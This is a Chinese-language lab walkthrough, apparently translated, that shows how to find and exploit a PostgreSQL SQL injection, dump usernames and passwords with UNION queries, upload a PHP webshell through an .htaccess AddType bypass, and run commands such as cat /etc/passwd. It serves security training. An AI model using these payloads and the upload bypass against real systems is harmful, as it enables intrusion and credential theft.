SQL注入检测
检测方法已经在“From SQL Injection to Shell”中详细描述过。唯一的区别是错误信息:
1 | Warning: pg_exec(): Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: SELECT * FROM pictures where cat=2' ^ in /var/www/classes/picture.php on line 17 ERROR: unterminated quoted string at or near "'" LINE 1: SELECT * FROM pictures where cat=2' ^ |
SQL注入并不是一门精确的科学,很多东西都会影响到你的测试结果。如果你遇到这些,继续测试注入,尝试测试出后台代码来确认它是一个SQL注入。
为了找到SQL注入,你需要访问网站并且使用这些方法测试每一个页面的每一个参数。一旦你发现了SQL注入,你可以到下一节去学习如何利用它。
SQL注入利用
现在我们在页面http://vulnerable/cat.php发现了一个SQL注入,为了更进一步,我们需要利用它来检索信息。为此,我们需要了解SQL中使用的 UNION 关键字。
在PostgreSQL中使用UNION进行SQL注入
类似于MySQL,使用UNION利用SQL注入遵循下面的步骤:
- 找出列数用来执行UNION
- 找出哪些列被显示在页面上
- 从元表数据库中检索信息
- 从其他表或数据库中检索信息
为了执行SQL注入的请求,你需要找到所查询的第一部分返回的列数。你需要猜这个数,除非你有应用程序的源代码。
有两种方法得到这个信息:
- 使用 UNION SELECT 和增加列数;
- 使用 ORDER BY 语句。
如果你尝试 UNION 并且两个查询返回的列数是不同的,数据库将抛出一个错误:
1 | Warning: pg_exec(): Query failed: ERROR: each UNION query must have the same number of columns |
可以使用这个属性来猜列数。例如,如果你可以注入以下语句: SELECT id,name,price FROM articles where id=1 ,你可以采用以下步骤:
- SELECT id,name,price FROM articles where id=1 UNION SELECT 1 ,注入内容 1 UNION SELECT 1 将返回一个错误因为查询语句的两个子部分的列数是不同的;
- SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2 ,因为如上同样的原因,注入内容 1 UNION SELECT 1,2 会返回一个错误;
- SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3 ,因为两个子部分拥有相同的列数,这个语句将抛出一个不同的错误信息。
如下:
1 | Warning: pg_exec(): Query failed: ERROR: UNION types character varying and integer cannot be matched |
另一种方法是利用关键字 ORDER BY 。类似于“From SQL Injection to Shell”中的使用方式。唯一的区别是由应用程序返回的错误消息:
1 | Warning: pg_exec(): Query failed: ERROR: ORDER BY position 10 is not in select list |
检索信息
现在我们已经知道了列数,我们可以从数据库中检索信息。基于我们收到的错误信息,我们知道后台使用的数据库是 PostgreSQL 。
相比于MySQL,PostgreSQL多需要一步使得到的 UNION 语句正常工作:列需要的两个查询必须是由第一个查询决定类型之间的同类型。如果我们使用之前发现的语句 1 UNION SELECT 1,2,3,4 ,可以看到下面的错误信息显示:
1 | Warning: pg_exec(): Query failed: ERROR: UNION types character varying and integer cannot be matched |
为了避免这个错误,我们可以用 null,null,null,null 来代替 1,2,3,4 ,不会产生任何错误。现在我们可以找出哪些列是一个字符串(因为大多数的我们想要的信息将基于字符串并且很容易转换任何值为字符串)。要做到这一点,我们只需要尝试每一列一个接一个相互,看看哪一个不返回一个错误:
- 1 UNION SELECT 'aaaa',null,null,null :该测试返回消息:invalid input syntax for integer ,这可能是一个整数列。
- 1 UNION SELECT null,'aaaa',null,null :不返回一个错误,我们可以使用这一列,我们可以在页面中看到字符串 aaaa。
- 1 union select null,null,'aaaa',null :不返回一个错误,我们可以用这一列,结果是不可见的在网页中,在页面的源中可见(在 <img 标签中)。
- 1 union select null,null,null,'aaaa' :该测试返回消息:invalid input syntax for integer ,这可能是一个整数列。
利用这些信息,我们可以迫使数据库执行一个函数或给我们发送信息:
- 用PHP应用程序连接到数据库的用户使用 current_user
- 数据库版本使用 version()
例如你可以访问以下URL获取这些信息:
- 数据库版本:http://vulnerable/cat.php?id=1%20UNION%20SELECT%20null,version(),null,null
- 当前用户:http://vulnerable/cat.php?id=1%20UNION%20SELECT%20null,current_user,null,null
- 当前数据库:http://vulnerable/cat.php?id=1%20UNION%20SELECT%20null,current_database(),null,null
我们现在能够从数据库中检索信息和检索任意内容。为了获取当前应用程序相关的信息,我们需要:
- 当前数据库中的所有表的名称
- 我们要从中检索信息的表的列名
- PostgreSQL提供了包含有关数据库、表、列的元信息表。我们将使用这些表来获取我们需要的信息来构造最终请求。
以下查询可用于检索:
- 所有表的列表:SELECT tablename FROM pg_tables
- 所有列的列表:SELECT column_name FROM information_schema.columns
通过混合这些查询和以前的URL,你能猜出信息检索的访问链接:
- 表的列表:1 UNION SELECT null,tablename,null,null FROM pg_tables
- 列的列表:1 UNION SELECT null,column_name,null,null FROM information_schema.columns
问题是,这些请求,为您提供一个所有的表和列的原列表,但查询数据库和检索感兴趣的信息,你需要知道什么列是属于什么表。幸好,information_schema.columns stores表中存储有表名:
1 | SELECT table_name,column_name FROM information_schema.columns |
要获取这些信息,我们可以:
- 把表名和列名放在不同的注入位置:1 UNION SELECT null, table_name, column_name,null,null FROM information_schema.columns
- 把表名和列名放在同一个注入位置,使用级联符号(||)分隔:1 UNION SELECT null,table_name||':'|| column_name,null,null FROM information_schema.columns 。:可以很容易的分割查询结果。
利用这些信息,你现在可以创建一个查询,从表中检索信息:
1 | 1 UNION SELECT null,login||':'||password,null,null FROM users; |
然后获取用户名和密码用来访问管理页面。
该SQL注入提供和访问数据库连接的应用程序使用用户相同的权限(current_user)…这就是为什么当你在部署WEB应用的时候尽可能给它的用户最低权限。
破解密码
使用在”From SQLInjection to Shell“中描述的方法可以很容易破解密码。
上传webshell并且执行代码
传统的webshell
一旦进入管理页面,下一个目标是找到一种方法,在操作系统上执行命令。
我们可以看到,有一个文件上传功能允许用户上传图片,我们可以利用这个功能来上传一个PHP脚本。这个PHP脚本一旦上传到服务器将给我们一种方式来运行PHP代码和命令。
首先我们需要创建一个PHP脚本来运行命令。下面是一个简单的和最小的webshell的源代码:
1 |
|
这个脚本获取参数cmd的内容并且执行它。它需要被保存为一个.php扩展名的文件,例如shell.php可以被用作文件名。
我们现在可以使用在网页的上传功能:http://vulnerable/admin/new.php尝试上传这个脚本。
我们可以看到,脚本没有被正确上传到服务器上。应用阻止文件扩展名.php上传。我们可以尝试.php3,.php.test……不幸的是这些名字都不工作。
我们需要找到另一种方式来获得命令的执行。
.htaccess介绍
.htaccess是用来执行每次修改Apache配置。他们可以是非常危险的如果你可以上传一个并且得到由服务器解释。
获取命令执行的最常见的方式是有一个任意的扩展处理程序:
1 | AddType application/x-httpd-php .blah |
这一行将告诉Apache的解释.blan文件使用PHP引擎。因为.blan文件看起来不像被应用程序过滤。
这个工作了因为 AllowOverride被设置为All(它的默认值),这意味着如果服务器遇到.htaccess
文件将解释它。
一旦我们上传了包含以上内容的.htaccess文件。我们现在可以重命名文件 shell.php 到 shell.blan 然后上传它。
一旦这两个文件上传,我们可以得到命令的执行
获得代码执行
现在,我们需要找到我们的脚本,管理上传放在Web服务器上的文件。我们需要确保该文件是直接可用的Web客户端。我们可以参观新上传的图像的网页,看到 img 标记指向:
1 | <div class="content"> |
你现在可以访问页面在以下地址并且运行命令使用cmd参数。例如:访问http://vulnerable/admin/uploads/shell.blah?cmd=uname将运行命令 uname 在操作系统上并且返回当前系统内核(Linux)。
其他命令可以用来获取更多信息:
- cat /etc/passwd 来获得系统的完整的用户列表;
- uname -a 来获得当前内核版本;
- ls 来获得当前目录内容;
- …
像以前一样,我们的webshell具有和Web服务器上运行PHP脚本相同的权限,例如你不可以检索文件 /etc/shadow 的内容因为Web服务器没有访问此文件的权限(但你还是应尽可能尝试假设管理员错误地修改了权限)。
每个命令都是运行在一个全新的上下文独立的前面的命令,你将无法通过运行 cd /etc 和 ls 得到 /etc/ 目录的内容,因为第二命令将在一个新的上下文。获取目录 /etc/ 内容,您将需要运行ls /etc/。
总结
这次练习教你如何手动检测和利用SQL注入
PostgreSQL数据库访问到管理页面。一旦在“信任区”,更多的功能通常是可用的,将可能会导致更多的漏洞。这是基于一个几年前一个网站进行渗透测试的结果,但这类漏洞的网站今天仍在互联网存在。